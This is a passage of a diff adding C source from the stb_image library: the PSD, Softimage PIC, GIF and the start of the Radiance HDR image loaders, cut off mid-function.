+         if (len > nleft) return 0; // corrupt data
+         val = stbi__get8(s);
+         count += len;
+         while (len) {
+            *p = val;
+            p += 4;
+            len--;
+         }
+      }
+   }
+
+   return 1;
+}
+
+static void *stbi__psd_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc)
+{
+   int pixelCount;
+   int channelCount, compression;
+   int channel, i;
+   int bitdepth;
+   int w,h;
+   stbi_uc *out;
+   STBI_NOTUSED(ri);
+
+   // Check identifier
+   if (stbi__get32be(s) != 0x38425053)   // "8BPS"
+      return stbi__errpuc("not PSD", "Corrupt PSD image");
+
+   // Check file type version.
+   if (stbi__get16be(s) != 1)
+      return stbi__errpuc("wrong version", "Unsupported version of PSD image");
+
+   // Skip 6 reserved bytes.
+   stbi__skip(s, 6 );
+
+   // Read the number of channels (R, G, B, A, etc).
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16)
+      return stbi__errpuc("wrong channel count", "Unsupported number of channels in PSD image");
+
+   // Read the rows and columns of the image.
+   h = stbi__get32be(s);
+   w = stbi__get32be(s);
+
+   // Make sure the depth is 8 bits.
+   bitdepth = stbi__get16be(s);
+   if (bitdepth != 8 && bitdepth != 16)
+      return stbi__errpuc("unsupported bit depth", "PSD bit depth is not 8 or 16 bit");
+
+   // Make sure the color mode is RGB.
+   // Valid options are:
+   //   0: Bitmap
+   //   1: Grayscale
+   //   2: Indexed color
+   //   3: RGB color
+   //   4: CMYK color
+   //   7: Multichannel
+   //   8: Duotone
+   //   9: Lab color
+   if (stbi__get16be(s) != 3)
+      return stbi__errpuc("wrong color format", "PSD is not in RGB color format");
+
+   // Skip the Mode Data.  (It's the palette for indexed color; other info for other modes.)
+   stbi__skip(s,stbi__get32be(s) );
+
+   // Skip the image resources.  (resolution, pen tool paths, etc)
+   stbi__skip(s, stbi__get32be(s) );
+
+   // Skip the reserved data.
+   stbi__skip(s, stbi__get32be(s) );
+
+   // Find out if the data is compressed.
+   // Known values:
+   //   0: no compression
+   //   1: RLE compressed
+   compression = stbi__get16be(s);
+   if (compression > 1)
+      return stbi__errpuc("bad compression", "PSD has an unknown compression format");
+
+   // Check size
+   if (!stbi__mad3sizes_valid(4, w, h, 0))
+      return stbi__errpuc("too large", "Corrupt PSD");
+
+   // Create the destination image.
+
+   if (!compression && bitdepth == 16 && bpc == 16) {
+      out = (stbi_uc *) stbi__malloc_mad3(8, w, h, 0);
+      ri->bits_per_channel = 16;
+   } else
+      out = (stbi_uc *) stbi__malloc(4 * w*h);
+
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   pixelCount = w*h;
+
+   // Initialize the data to zero.
+   //memset( out, 0, pixelCount * 4 );
+
+   // Finally, the image data.
+   if (compression) {
+      // RLE as used by .PSD and .TIFF
+      // Loop until you get the number of unpacked bytes you are expecting:
+      //     Read the next source byte into n.
+      //     If n is between 0 and 127 inclusive, copy the next n+1 bytes literally.
+      //     Else if n is between -127 and -1 inclusive, copy the next byte -n+1 times.
+      //     Else if n is 128, noop.
+      // Endloop
+
+      // The RLE-compressed data is preceeded by a 2-byte data count for each row in the data,
+      // which we're going to just skip.
+      stbi__skip(s, h * channelCount * 2 );
+
+      // Read the RLE data by channel.
+      for (channel = 0; channel < 4; channel++) {
+         stbi_uc *p;
+
+         p = out+channel;
+         if (channel >= channelCount) {
+            // Fill this channel with default data.
+            for (i = 0; i < pixelCount; i++, p += 4)
+               *p = (channel == 3 ? 255 : 0);
+         } else {
+            // Read the RLE data.
+            if (!stbi__psd_decode_rle(s, p, pixelCount)) {
+               STBI_FREE(out);
+               return stbi__errpuc("corrupt", "bad RLE data");
+            }
+         }
+      }
+
+   } else {
+      // We're at the raw image data.  It's each channel in order (Red, Green, Blue, Alpha, ...)
+      // where each channel consists of an 8-bit (or 16-bit) value for each pixel in the image.
+
+      // Read the data by channel.
+      for (channel = 0; channel < 4; channel++) {
+         if (channel >= channelCount) {
+            // Fill this channel with default data.
+            if (bitdepth == 16 && bpc == 16) {
+               stbi__uint16 *q = ((stbi__uint16 *) out) + channel;
+               stbi__uint16 val = channel == 3 ? 65535 : 0;
+               for (i = 0; i < pixelCount; i++, q += 4)
+                  *q = val;
+            } else {
+               stbi_uc *p = out+channel;
+               stbi_uc val = channel == 3 ? 255 : 0;
+               for (i = 0; i < pixelCount; i++, p += 4)
+                  *p = val;
+            }
+         } else {
+            if (ri->bits_per_channel == 16) {    // output bpc
+               stbi__uint16 *q = ((stbi__uint16 *) out) + channel;
+               for (i = 0; i < pixelCount; i++, q += 4)
+                  *q = (stbi__uint16) stbi__get16be(s);
+            } else {
+               stbi_uc *p = out+channel;
+               if (bitdepth == 16) {  // input bpc
+                  for (i = 0; i < pixelCount; i++, p += 4)
+                     *p = (stbi_uc) (stbi__get16be(s) >> 8);
+               } else {
+                  for (i = 0; i < pixelCount; i++, p += 4)
+                     *p = stbi__get8(s);
+               }
+            }
+         }
+      }
+   }
+
+   // remove weird white matte from PSD
+   if (channelCount >= 4) {
+      if (ri->bits_per_channel == 16) {
+         for (i=0; i < w*h; ++i) {
+            stbi__uint16 *pixel = (stbi__uint16 *) out + 4*i;
+            if (pixel[3] != 0 && pixel[3] != 65535) {
+               float a = pixel[3] / 65535.0f;
+               float ra = 1.0f / a;
+               float inv_a = 65535.0f * (1 - ra);
+               pixel[0] = (stbi__uint16) (pixel[0]*ra + inv_a);
+               pixel[1] = (stbi__uint16) (pixel[1]*ra + inv_a);
+               pixel[2] = (stbi__uint16) (pixel[2]*ra + inv_a);
+            }
+         }
+      } else {
+         for (i=0; i < w*h; ++i) {
+            unsigned char *pixel = out + 4*i;
+            if (pixel[3] != 0 && pixel[3] != 255) {
+               float a = pixel[3] / 255.0f;
+               float ra = 1.0f / a;
+               float inv_a = 255.0f * (1 - ra);
+               pixel[0] = (unsigned char) (pixel[0]*ra + inv_a);
+               pixel[1] = (unsigned char) (pixel[1]*ra + inv_a);
+               pixel[2] = (unsigned char) (pixel[2]*ra + inv_a);
+            }
+         }
+      }
+   }
+
+   // convert to desired output format
+   if (req_comp && req_comp != 4) {
+      if (ri->bits_per_channel == 16)
+         out = (stbi_uc *) stbi__convert_format16((stbi__uint16 *) out, 4, req_comp, w, h);
+      else
+         out = stbi__convert_format(out, 4, req_comp, w, h);
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+
+   if (comp) *comp = 4;
+   *y = h;
+   *x = w;
+
+   return out;
+}
+#endif
+
+// *************************************************************************************************
+// Softimage PIC loader
+// by Tom Seddon
+//
+// See http://softimage.wiki.softimage.com/index.php/INFO:_PIC_file_format
+// See http://ozviz.wasp.uwa.edu.au/~pbourke/dataformats/softimagepic/
+
+#ifndef STBI_NO_PIC
+static int stbi__pic_is4(stbi__context *s,const char *str)
+{
+   int i;
+   for (i=0; i<4; ++i)
+      if (stbi__get8(s) != (stbi_uc)str[i])
+         return 0;
+
+   return 1;
+}
+
+static int stbi__pic_test_core(stbi__context *s)
+{
+   int i;
+
+   if (!stbi__pic_is4(s,"\x53\x80\xF6\x34"))
+      return 0;
+
+   for(i=0;i<84;++i)
+      stbi__get8(s);
+
+   if (!stbi__pic_is4(s,"PICT"))
+      return 0;
+
+   return 1;
+}
+
+typedef struct
+{
+   stbi_uc size,type,channel;
+} stbi__pic_packet;
+
+static stbi_uc *stbi__readval(stbi__context *s, int channel, stbi_uc *dest)
+{
+   int mask=0x80, i;
+
+   for (i=0; i<4; ++i, mask>>=1) {
+      if (channel & mask) {
+         if (stbi__at_eof(s)) return stbi__errpuc("bad file","PIC file too short");
+         dest[i]=stbi__get8(s);
+      }
+   }
+
+   return dest;
+}
+
+static void stbi__copyval(int channel,stbi_uc *dest,const stbi_uc *src)
+{
+   int mask=0x80,i;
+
+   for (i=0;i<4; ++i, mask>>=1)
+      if (channel&mask)
+         dest[i]=src[i];
+}
+
+static stbi_uc *stbi__pic_load_core(stbi__context *s,int width,int height,int *comp, stbi_uc *result)
+{
+   int act_comp=0,num_packets=0,y,chained;
+   stbi__pic_packet packets[10];
+
+   // this will (should...) cater for even some bizarre stuff like having data
+    // for the same channel in multiple packets.
+   do {
+      stbi__pic_packet *packet;
+
+      if (num_packets==sizeof(packets)/sizeof(packets[0]))
+         return stbi__errpuc("bad format","too many packets");
+
+      packet = &packets[num_packets++];
+
+      chained = stbi__get8(s);
+      packet->size    = stbi__get8(s);
+      packet->type    = stbi__get8(s);
+      packet->channel = stbi__get8(s);
+
+      act_comp |= packet->channel;
+
+      if (stbi__at_eof(s))          return stbi__errpuc("bad file","file too short (reading packets)");
+      if (packet->size != 8)  return stbi__errpuc("bad format","packet isn't 8bpp");
+   } while (chained);
+
+   *comp = (act_comp & 0x10 ? 4 : 3); // has alpha channel?
+
+   for(y=0; y<height; ++y) {
+      int packet_idx;
+
+      for(packet_idx=0; packet_idx < num_packets; ++packet_idx) {
+         stbi__pic_packet *packet = &packets[packet_idx];
+         stbi_uc *dest = result+y*width*4;
+
+         switch (packet->type) {
+            default:
+               return stbi__errpuc("bad format","packet has bad compression type");
+
+            case 0: {//uncompressed
+               int x;
+
+               for(x=0;x<width;++x, dest+=4)
+                  if (!stbi__readval(s,packet->channel,dest))
+                     return 0;
+               break;
+            }
+
+            case 1://Pure RLE
+               {
+                  int left=width, i;
+
+                  while (left>0) {
+                     stbi_uc count,value[4];
+
+                     count=stbi__get8(s);
+                     if (stbi__at_eof(s))   return stbi__errpuc("bad file","file too short (pure read count)");
+
+                     if (count > left)
+                        count = (stbi_uc) left;
+
+                     if (!stbi__readval(s,packet->channel,value))  return 0;
+
+                     for(i=0; i<count; ++i,dest+=4)
+                        stbi__copyval(packet->channel,dest,value);
+                     left -= count;
+                  }
+               }
+               break;
+
+            case 2: {//Mixed RLE
+               int left=width;
+               while (left>0) {
+                  int count = stbi__get8(s), i;
+                  if (stbi__at_eof(s))  return stbi__errpuc("bad file","file too short (mixed read count)");
+
+                  if (count >= 128) { // Repeated
+                     stbi_uc value[4];
+
+                     if (count==128)
+                        count = stbi__get16be(s);
+                     else
+                        count -= 127;
+                     if (count > left)
+                        return stbi__errpuc("bad file","scanline overrun");
+
+                     if (!stbi__readval(s,packet->channel,value))
+                        return 0;
+
+                     for(i=0;i<count;++i, dest += 4)
+                        stbi__copyval(packet->channel,dest,value);
+                  } else { // Raw
+                     ++count;
+                     if (count>left) return stbi__errpuc("bad file","scanline overrun");
+
+                     for(i=0;i<count;++i, dest+=4)
+                        if (!stbi__readval(s,packet->channel,dest))
+                           return 0;
+                  }
+                  left-=count;
+               }
+               break;
+            }
+         }
+      }
+   }
+
+   return result;
+}
+
+static void *stbi__pic_load(stbi__context *s,int *px,int *py,int *comp,int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *result;
+   int i, x,y, internal_comp;
+   STBI_NOTUSED(ri);
+
+   if (!comp) comp = &internal_comp;
+
+   for (i=0; i<92; ++i)
+      stbi__get8(s);
+
+   x = stbi__get16be(s);
+   y = stbi__get16be(s);
+   if (stbi__at_eof(s))  return stbi__errpuc("bad file","file too short (pic header)");
+   if (!stbi__mad3sizes_valid(x, y, 4, 0)) return stbi__errpuc("too large", "PIC image too large to decode");
+
+   stbi__get32be(s); //skip `ratio'
+   stbi__get16be(s); //skip `fields'
+   stbi__get16be(s); //skip `pad'
+
+   // intermediate buffer is RGBA
+   result = (stbi_uc *) stbi__malloc_mad3(x, y, 4, 0);
+   memset(result, 0xff, x*y*4);
+
+   if (!stbi__pic_load_core(s,x,y,comp, result)) {
+      STBI_FREE(result);
+      result=0;
+   }
+   *px = x;
+   *py = y;
+   if (req_comp == 0) req_comp = *comp;
+   result=stbi__convert_format(result,4,req_comp,x,y);
+
+   return result;
+}
+
+static int stbi__pic_test(stbi__context *s)
+{
+   int r = stbi__pic_test_core(s);
+   stbi__rewind(s);
+   return r;
+}
+#endif
+
+// *************************************************************************************************
+// GIF loader -- public domain by Jean-Marc Lienher -- simplified/shrunk by stb
+
+#ifndef STBI_NO_GIF
+typedef struct
+{
+   stbi__int16 prefix;
+   stbi_uc first;
+   stbi_uc suffix;
+} stbi__gif_lzw;
+
+typedef struct
+{
+   int w,h;
+   stbi_uc *out;                 // output buffer (always 4 components)
+   stbi_uc *background;          // The current "background" as far as a gif is concerned
+   stbi_uc *history; 
+   int flags, bgindex, ratio, transparent, eflags;
+   stbi_uc  pal[256][4];
+   stbi_uc lpal[256][4];
+   stbi__gif_lzw codes[8192];
+   stbi_uc *color_table;
+   int parse, step;
+   int lflags;
+   int start_x, start_y;
+   int max_x, max_y;
+   int cur_x, cur_y;
+   int line_size;
+   int delay;
+} stbi__gif;
+
+static int stbi__gif_test_raw(stbi__context *s)
+{
+   int sz;
+   if (stbi__get8(s) != 'G' || stbi__get8(s) != 'I' || stbi__get8(s) != 'F' || stbi__get8(s) != '8') return 0;
+   sz = stbi__get8(s);
+   if (sz != '9' && sz != '7') return 0;
+   if (stbi__get8(s) != 'a') return 0;
+   return 1;
+}
+
+static int stbi__gif_test(stbi__context *s)
+{
+   int r = stbi__gif_test_raw(s);
+   stbi__rewind(s);
+   return r;
+}
+
+static void stbi__gif_parse_colortable(stbi__context *s, stbi_uc pal[256][4], int num_entries, int transp)
+{
+   int i;
+   for (i=0; i < num_entries; ++i) {
+      pal[i][2] = stbi__get8(s);
+      pal[i][1] = stbi__get8(s);
+      pal[i][0] = stbi__get8(s);
+      pal[i][3] = transp == i ? 0 : 255;
+   }
+}
+
+static int stbi__gif_header(stbi__context *s, stbi__gif *g, int *comp, int is_info)
+{
+   stbi_uc version;
+   if (stbi__get8(s) != 'G' || stbi__get8(s) != 'I' || stbi__get8(s) != 'F' || stbi__get8(s) != '8')
+      return stbi__err("not GIF", "Corrupt GIF");
+
+   version = stbi__get8(s);
+   if (version != '7' && version != '9')    return stbi__err("not GIF", "Corrupt GIF");
+   if (stbi__get8(s) != 'a')                return stbi__err("not GIF", "Corrupt GIF");
+
+   stbi__g_failure_reason = "";
+   g->w = stbi__get16le(s);
+   g->h = stbi__get16le(s);
+   g->flags = stbi__get8(s);
+   g->bgindex = stbi__get8(s);
+   g->ratio = stbi__get8(s);
+   g->transparent = -1;
+
+   if (comp != 0) *comp = 4;  // can't actually tell whether it's 3 or 4 until we parse the comments
+
+   if (is_info) return 1;
+
+   if (g->flags & 0x80)
+      stbi__gif_parse_colortable(s,g->pal, 2 << (g->flags & 7), -1);
+
+   return 1;
+}
+
+static int stbi__gif_info_raw(stbi__context *s, int *x, int *y, int *comp)
+{
+   stbi__gif* g = (stbi__gif*) stbi__malloc(sizeof(stbi__gif));
+   if (!stbi__gif_header(s, g, comp, 1)) {
+      STBI_FREE(g);
+      stbi__rewind( s );
+      return 0;
+   }
+   if (x) *x = g->w;
+   if (y) *y = g->h;
+   STBI_FREE(g);
+   return 1;
+}
+
+static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)
+{
+   stbi_uc *p, *c;
+   int idx; 
+
+   // recurse to decode the prefixes, since the linked-list is backwards,
+   // and working backwards through an interleaved image would be nasty
+   if (g->codes[code].prefix >= 0)
+      stbi__out_gif_code(g, g->codes[code].prefix);
+
+   if (g->cur_y >= g->max_y) return;
+
+   idx = g->cur_x + g->cur_y; 
+   p = &g->out[idx];
+   g->history[idx / 4] = 1;  
+
+   c = &g->color_table[g->codes[code].suffix * 4];
+   if (c[3] > 128) { // don't render transparent pixels; 
+      p[0] = c[2];
+      p[1] = c[1];
+      p[2] = c[0];
+      p[3] = c[3];
+   }
+   g->cur_x += 4;
+
+   if (g->cur_x >= g->max_x) {
+      g->cur_x = g->start_x;
+      g->cur_y += g->step;
+
+      while (g->cur_y >= g->max_y && g->parse > 0) {
+         g->step = (1 << g->parse) * g->line_size;
+         g->cur_y = g->start_y + (g->step >> 1);
+         --g->parse;
+      }
+   }
+}
+
+static stbi_uc *stbi__process_gif_raster(stbi__context *s, stbi__gif *g)
+{
+   stbi_uc lzw_cs;
+   stbi__int32 len, init_code;
+   stbi__uint32 first;
+   stbi__int32 codesize, codemask, avail, oldcode, bits, valid_bits, clear;
+   stbi__gif_lzw *p;
+
+   lzw_cs = stbi__get8(s);
+   if (lzw_cs > 12) return NULL;
+   clear = 1 << lzw_cs;
+   first = 1;
+   codesize = lzw_cs + 1;
+   codemask = (1 << codesize) - 1;
+   bits = 0;
+   valid_bits = 0;
+   for (init_code = 0; init_code < clear; init_code++) {
+      g->codes[init_code].prefix = -1;
+      g->codes[init_code].first = (stbi_uc) init_code;
+      g->codes[init_code].suffix = (stbi_uc) init_code;
+   }
+
+   // support no starting clear code
+   avail = clear+2;
+   oldcode = -1;
+
+   len = 0;
+   for(;;) {
+      if (valid_bits < codesize) {
+         if (len == 0) {
+            len = stbi__get8(s); // start new block
+            if (len == 0)
+               return g->out;
+         }
+         --len;
+         bits |= (stbi__int32) stbi__get8(s) << valid_bits;
+         valid_bits += 8;
+      } else {
+         stbi__int32 code = bits & codemask;
+         bits >>= codesize;
+         valid_bits -= codesize;
+         // @OPTIMIZE: is there some way we can accelerate the non-clear path?
+         if (code == clear) {  // clear code
+            codesize = lzw_cs + 1;
+            codemask = (1 << codesize) - 1;
+            avail = clear + 2;
+            oldcode = -1;
+            first = 0;
+         } else if (code == clear + 1) { // end of stream code
+            stbi__skip(s, len);
+            while ((len = stbi__get8(s)) > 0)
+               stbi__skip(s,len);
+            return g->out;
+         } else if (code <= avail) {
+            if (first) {
+               return stbi__errpuc("no clear code", "Corrupt GIF");
+            }
+
+            if (oldcode >= 0) {
+               p = &g->codes[avail++];
+               if (avail > 8192) {
+                  return stbi__errpuc("too many codes", "Corrupt GIF");
+               }
+
+               p->prefix = (stbi__int16) oldcode;
+               p->first = g->codes[oldcode].first;
+               p->suffix = (code == avail) ? p->first : g->codes[code].first;
+            } else if (code == avail)
+               return stbi__errpuc("illegal code in raster", "Corrupt GIF");
+
+            stbi__out_gif_code(g, (stbi__uint16) code);
+
+            if ((avail & codemask) == 0 && avail <= 0x0FFF) {
+               codesize++;
+               codemask = (1 << codesize) - 1;
+            }
+
+            oldcode = code;
+         } else {
+            return stbi__errpuc("illegal code in raster", "Corrupt GIF");
+         }
+      }
+   }
+}
+
+// this function is designed to support animated gifs, although stb_image doesn't support it
+// two back is the image from two frames ago, used for a very specific disposal format
+static stbi_uc *stbi__gif_load_next(stbi__context *s, stbi__gif *g, int *comp, int req_comp, stbi_uc *two_back)
+{
+   int dispose; 
+   int first_frame; 
+   int pi; 
+   int pcount; 
+
+   // on first frame, any non-written pixels get the background colour (non-transparent)
+   first_frame = 0; 
+   if (g->out == 0) {
+      if (!stbi__gif_header(s, g, comp,0))     return 0; // stbi__g_failure_reason set by stbi__gif_header
+      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);
+      g->background = (stbi_uc *) stbi__malloc(4 * g->w * g->h); 
+      g->history = (stbi_uc *) stbi__malloc(g->w * g->h); 
+      if (g->out == 0)                      return stbi__errpuc("outofmem", "Out of memory");
+
+      // image is treated as "tranparent" at the start - ie, nothing overwrites the current background; 
+      // background colour is only used for pixels that are not rendered first frame, after that "background"
+      // color refers to teh color that was there the previous frame. 
+      memset( g->out, 0x00, 4 * g->w * g->h ); 
+      memset( g->background, 0x00, 4 * g->w * g->h ); // state of the background (starts transparent)
+      memset( g->history, 0x00, g->w * g->h );        // pixels that were affected previous frame
+      first_frame = 1; 
+   } else {
+      // second frame - how do we dispoase of the previous one?
+      dispose = (g->eflags & 0x1C) >> 2; 
+      pcount = g->w * g->h; 
+
+      if ((dispose == 3) && (two_back == 0)) {
+         dispose = 2; // if I don't have an image to revert back to, default to the old background
+      }
+
+      if (dispose == 3) { // use previous graphic
+         for (pi = 0; pi < pcount; ++pi) {
+            if (g->history[pi]) {
+               memcpy( &g->out[pi * 4], &two_back[pi * 4], 4 ); 
+            }
+         }
+      } else if (dispose == 2) { 
+         // restore what was changed last frame to background before that frame; 
+         for (pi = 0; pi < pcount; ++pi) {
+            if (g->history[pi]) {
+               memcpy( &g->out[pi * 4], &g->background[pi * 4], 4 ); 
+            }
+         }
+      } else {
+         // This is a non-disposal case eithe way, so just 
+         // leave the pixels as is, and they will become the new background
+         // 1: do not dispose
+         // 0:  not specified.
+      }
+
+      // background is what out is after the undoing of the previou frame; 
+      memcpy( g->background, g->out, 4 * g->w * g->h ); 
+   }
+
+   // clear my history; 
+   memset( g->history, 0x00, g->w * g->h );        // pixels that were affected previous frame
+
+   for (;;) {
+      int tag = stbi__get8(s); 
+      switch (tag) {
+         case 0x2C: /* Image Descriptor */
+         {
+            stbi__int32 x, y, w, h;
+            stbi_uc *o;
+
+            x = stbi__get16le(s);
+            y = stbi__get16le(s);
+            w = stbi__get16le(s);
+            h = stbi__get16le(s);
+            if (((x + w) > (g->w)) || ((y + h) > (g->h)))
+               return stbi__errpuc("bad Image Descriptor", "Corrupt GIF");
+
+            g->line_size = g->w * 4;
+            g->start_x = x * 4;
+            g->start_y = y * g->line_size;
+            g->max_x   = g->start_x + w * 4;
+            g->max_y   = g->start_y + h * g->line_size;
+            g->cur_x   = g->start_x;
+            g->cur_y   = g->start_y;
+
+            g->lflags = stbi__get8(s);
+
+            if (g->lflags & 0x40) {
+               g->step = 8 * g->line_size; // first interlaced spacing
+               g->parse = 3;
+            } else {
+               g->step = g->line_size;
+               g->parse = 0;
+            }
+
+            if (g->lflags & 0x80) {
+               stbi__gif_parse_colortable(s,g->lpal, 2 << (g->lflags & 7), g->eflags & 0x01 ? g->transparent : -1);
+               g->color_table = (stbi_uc *) g->lpal;
+            } else if (g->flags & 0x80) {
+               g->color_table = (stbi_uc *) g->pal;
+            } else
+               return stbi__errpuc("missing color table", "Corrupt GIF");            
+            
+            o = stbi__process_gif_raster(s, g);
+            if (o == NULL) return NULL;
+
+            // if this was the first frame, 
+            pcount = g->w * g->h; 
+            if (first_frame && (g->bgindex > 0)) {
+               // if first frame, any pixel not drawn to gets the background color
+               for (pi = 0; pi < pcount; ++pi) {
+                  if (g->history[pi] == 0) {
+                     g->pal[g->bgindex][3] = 255; // just in case it was made transparent, undo that; It will be reset next frame if need be; 
+                     memcpy( &g->out[pi * 4], &g->pal[g->bgindex], 4 ); 
+                  }
+               }
+            }
+
+            return o;
+         }
+
+         case 0x21: // Comment Extension.
+         {
+            int len;
+            int ext = stbi__get8(s); 
+            if (ext == 0xF9) { // Graphic Control Extension.
+               len = stbi__get8(s);
+               if (len == 4) {
+                  g->eflags = stbi__get8(s);
+                  g->delay = 10 * stbi__get16le(s); // delay - 1/100th of a second, saving as 1/1000ths.
+
+                  // unset old transparent
+                  if (g->transparent >= 0) {
+                     g->pal[g->transparent][3] = 255; 
+                  } 
+                  if (g->eflags & 0x01) {
+                     g->transparent = stbi__get8(s);
+                     if (g->transparent >= 0) {
+                        g->pal[g->transparent][3] = 0; 
+                     }
+                  } else {
+                     // don't need transparent
+                     stbi__skip(s, 1); 
+                     g->transparent = -1; 
+                  }
+               } else {
+                  stbi__skip(s, len);
+                  break;
+               }
+            } 
+            while ((len = stbi__get8(s)) != 0) {
+               stbi__skip(s, len);
+            }
+            break;
+         }
+
+         case 0x3B: // gif stream termination code
+            return (stbi_uc *) s; // using '1' causes warning on some compilers
+
+         default:
+            return stbi__errpuc("unknown code", "Corrupt GIF");
+      }
+   }
+}
+
+static void *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
+{
+   if (stbi__gif_test(s)) {
+      int layers = 0; 
+      stbi_uc *u = 0;
+      stbi_uc *out = 0;
+      stbi_uc *two_back = 0; 
+      stbi__gif g;
+      int stride; 
+      memset(&g, 0, sizeof(g));
+      if (delays) {
+         *delays = 0; 
+      }
+
+      do {
+         u = stbi__gif_load_next(s, &g, comp, req_comp, two_back);
+         if (u == (stbi_uc *) s) u = 0;  // end of animated gif marker
+
+         if (u) {
+            *x = g.w;
+            *y = g.h;
+            ++layers; 
+            stride = g.w * g.h * 4; 
+         
+            if (out) {
+               out = (stbi_uc*) STBI_REALLOC( out, layers * stride ); 
+               if (delays) {
+                  *delays = (int*) STBI_REALLOC( *delays, sizeof(int) * layers ); 
+               }
+            } else {
+               out = (stbi_uc*)stbi__malloc( layers * stride ); 
+               if (delays) {
+                  *delays = (int*) stbi__malloc( layers * sizeof(int) ); 
+               }
+            }
+            memcpy( out + ((layers - 1) * stride), u, stride ); 
+            if (layers >= 2) {
+               two_back = out - 2 * stride; 
+            }
+
+            if (delays) {
+               (*delays)[layers - 1U] = g.delay; 
+            }
+         }
+      } while (u != 0); 
+
+      // free temp buffer; 
+      STBI_FREE(g.out); 
+      STBI_FREE(g.history); 
+      STBI_FREE(g.background); 
+
+      // do the final conversion after loading everything; 
+      if (req_comp && req_comp != 4)
+         out = stbi__convert_format(out, 4, req_comp, layers * g.w, g.h);
+
+      *z = layers; 
+      return out;
+   } else {
+      return stbi__errpuc("not GIF", "Image was not as a gif type."); 
+   }
+}
+
+static void *stbi__gif_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *u = 0;
+   stbi__gif g;
+   memset(&g, 0, sizeof(g));
+
+   u = stbi__gif_load_next(s, &g, comp, req_comp, 0);
+   if (u == (stbi_uc *) s) u = 0;  // end of animated gif marker
+   if (u) {
+      *x = g.w;
+      *y = g.h;
+
+      // moved conversion to after successful load so that the same
+      // can be done for multiple frames. 
+      if (req_comp && req_comp != 4)
+         u = stbi__convert_format(u, 4, req_comp, g.w, g.h);
+   }
+
+   // free buffers needed for multiple frame loading; 
+   STBI_FREE(g.history);
+   STBI_FREE(g.background); 
+
+   return u;
+}
+
+static int stbi__gif_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   return stbi__gif_info_raw(s,x,y,comp);
+}
+#endif
+
+// *************************************************************************************************
+// Radiance RGBE HDR loader
+// originally by Nicolas Schulz
+#ifndef STBI_NO_HDR
+static int stbi__hdr_test_core(stbi__context *s, const char *signature)
+{
+   int i;
+   for (i=0; signature[i]; ++i)
+      if (stbi__get8(s) != signature[i])
+          return 0;
+   stbi__rewind(s);
+   return 1;
+}
+
+static int stbi__hdr_test(stbi__context* s)
+{
+   int r = stbi__hdr_test_core(s, "#?RADIANCE\n");
+   stbi__rewind(s);
+   if(!r) {
+       r = stbi__hdr_test_core(s, "#?RGBE\n");
+       stbi__rewind(s);
+   }
+   return r;
+}
+
+#define STBI__HDR_BUFLEN  1024
+static char *stbi__hdr_gettoken(stbi__context *z, char *buffer)
+{
+   int len=0;
+   char c = '\0';
+
+   c = (char) stbi__get8(z);
+
+   while (!stbi__at_eof(z) && c != '\n') {
+      buffer[len++] = c;
+      if (len == STBI__HDR_BUFLEN-1) {
+         // flush to end of line
+         while (!stbi__at_eof(z) && stbi__get8(z) != '\n')
+            ;
+         break;
+      }
+      c = (char) stbi__get8(z);
+   }
+
+   buffer[len] = 0;
+   return buffer;
+}
+
+static void stbi__hdr_convert(float *output, stbi_uc *input, int req_comp)
+{
+   if ( input[3] != 0 ) {
+      float f1;
+      // Exponent
+      f1 = (float) ldexp(1.0f, input[3] - (int)(128 + 8));
+      if (req_comp <= 2)
+         output[0] = (input[0] + input[1] + input[2]) * f1 / 3;
+      else {
+         output[0] = input[0] * f1;
+         output[1] = input[1] * f1;
+         output[2] = input[2] * f1;
+      }
+      if (req_comp == 2) output[1] = 1;
+      if (req_comp == 4) output[3] = 1;
+   } else {
+      switch (req_comp) {
+         case 4: output[3] = 1; /* fallthrough */
+         case 3: output[0] = output[1] = output[2] = 0;
+                 break;
+         case 2: output[1] = 1; /* fallthrough */
+         case 1: output[0] = 0;
+                 break;
+      }
+   }
+}
+
+static float *stbi__hdr_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   char buffer[STBI__HDR_BUFLEN];
+   char *token;
+   int valid = 0;
+   int width, height;
+   stbi_uc *scanline;
+   float *hdr_data;
+   int len;
+   unsigned char count, value;
+   int i, j, k, c1,c2, z;
+   const char *headerToken;
+   STBI_NOTUSED(ri);
+
+   // Check identifier
+   headerToken = stbi__hdr_gettoken(s,buffer);
+   if (strcmp(headerToken, "#?RADIANCE") != 0 && strcmp(headerToken, "#?RGBE") != 0)
+      return stbi__errpf("not HDR", "Corrupt HDR image");
+
+   // Parse header
+   for(;;) {
+      token = stbi__hdr_gettoken(s,buffer);
+      if (token[0] == 0) break;
+      if (strcmp(token, "FORMAT=32-bit_rle_rgbe") == 0) valid = 1;
+   }
+
+   if (!valid)    return stbi__errpf("unsupported format", "Unsupported HDR format");
+
+   // Parse width and height
+   // can't use sscanf() if we're not using stdio!
+   token = stbi__hdr_gettoken(s,buffer);
+   if (strncmp(token, "-Y ", 3))  return stbi__errpf("unsupported data layout", "Unsupported HDR format");
+   token += 3;
+   height = (int) strtol(token, &token, 10);
+   while (*token == ' ') ++token;
+   if (strncmp(token, "+X ", 3))  return stbi__errpf("unsupported data layout", "Unsupported HDR format");
+   token += 3;
+   width = (int) strtol(token, NULL, 10);
+
+   *x = width;
+   *y = height;
+
+   if (comp) *comp = 3;
+   if (req_comp == 0) req_comp = 3;
+
+   if (!stbi__mad4sizes_valid(width, height, req_comp, sizeof(float), 0))
+      return stbi__errpf("too large", "HDR image is too large");
+
+   // Read data
+   hdr_data = (float *) stbi__malloc_mad4(width, height, req_comp, sizeof(float), 0);
+   if (!hdr_data)
+      return stbi__errpf("outofmem", "Out of memory");
+
+   // Load image data
+   // image data is stored as some number of sca
+   if ( width < 8 || width >= 32768) {
+      // Read flat data
+      for (j=0; j < height; ++j) {
+         for (i=0; i < width; ++i) {
+            stbi_uc rgbe[4];
+           main_decode_loop:
+            stbi__getn(s, rgbe, 4);
